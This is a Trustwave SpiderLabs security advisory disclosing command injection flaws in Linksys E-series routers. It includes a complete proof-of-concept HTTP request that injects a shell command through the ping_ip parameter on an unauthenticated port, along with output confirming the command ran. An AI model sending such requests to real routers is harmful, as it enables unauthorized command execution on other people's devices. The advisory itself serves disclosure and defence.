Trustwave SpiderLabs Security Advisory TWSL2013-008: Command Injection Vulnerabilities in Linksys Routers Published: 05/31/13 Version: 1.0 Vendor: Linksys (http://www.linksys.com/) Product: Linksys E-Series Routers Models affected: e1000 (version 2.1.02 and prior), e1200 (version 2.0.04 and prior) and e3200 (version 1.0.04 and prior) Product description: Linksys e-series routers are Linux-based home and small office networking devices. Finding 1: Command Injection Vulnerability **** Credit: Jason Leyrer of Trustwave SpiderLabs CVE: CVE-2013-3307 CWE: CWE-78 Linksys e1000 routers are vulnerable to a command injection vulnerability. Specifically, input passed to the ping_ip parameter in apply.cgi is not properly checked for non-valid input. This vulnerability does not require an attacker to be authenticated prior to performing the exploit. This is because an HTTP service running on TCP port 52000, which is used by Cisco Connect for initial configuration, does not prompt users for credentials like the HTTP service running by default on HTTP port 80 does. In later models, the service that listens on TCP/52000 is disabled once the router has been configured to something other than factory defaults. Below is a proof of concept for exploiting this vulnerabilities: Example 1 (Tested against e1000 firmware version 2.1.02): #POST request: POST /apply.cgi HTTP/1.1 Host: a.b.c.d:52000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://a.b.c.d:52000/apply.cgi Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 163 submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1%26%26ls&ping_times=5&ping_size=32&traceroute_ip= Output (viewed from device's serial interface): # submit_button=[Diagnostics] submit_type=[start_ping] name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3] ip[127.0.0.1&&ls] times[5] size[32] signalling USER1 Restart service=[start_ping] cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&ls &] cmd=[killall ping ](6033) killall: ping: no process killed www var usr tmp sys sbin proc mnt lib etc dev bin This indicates that once the ping command successfully exits, the 'ls' command I injected is executed. The same goes for other commands, such as 'reboot'. Vendor Response: According to the vendor, the E1000 model will not have a fix due to it being at its end of life. Finding 2: Command Injection Vulnerability **** Credit: Jason Leyrer of Trustwave SpiderLabs CWE: CWE-78 In addition to the models tested by Michael Messner in the advisory at http://www.s3cur1ty.de/m1adv2013-004, Linksys models e1000, e1200, and e3200 are vulnerable to a command injection vulnerability via the ping_size parameter in apply.cgi. Vendor Response: According to the vendor, the e1000 and e3200 models will not have a fix due to it being at its end of life. Linksys has released version 2.0.05 (Build 2) for the e1200 model. Additional Credits: Michael Messner: Initial discovery of command injection vulnerability in other Linksys models (http://www.s3cur1ty.de/m1adv2013-004) References 1. http://www.s3cur1ty.de/m1adv2013-004 Vendor Communication Timeline: 02/04/13 - Initial communication 02/04/13 - Vulnerability disclosed 02/06/13 - Vendor acknowledges security vulnerabilities 04/16/13 - Vendor releases firmware version 2.0.05 (Build 2) 05/31/13 - Advisory published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.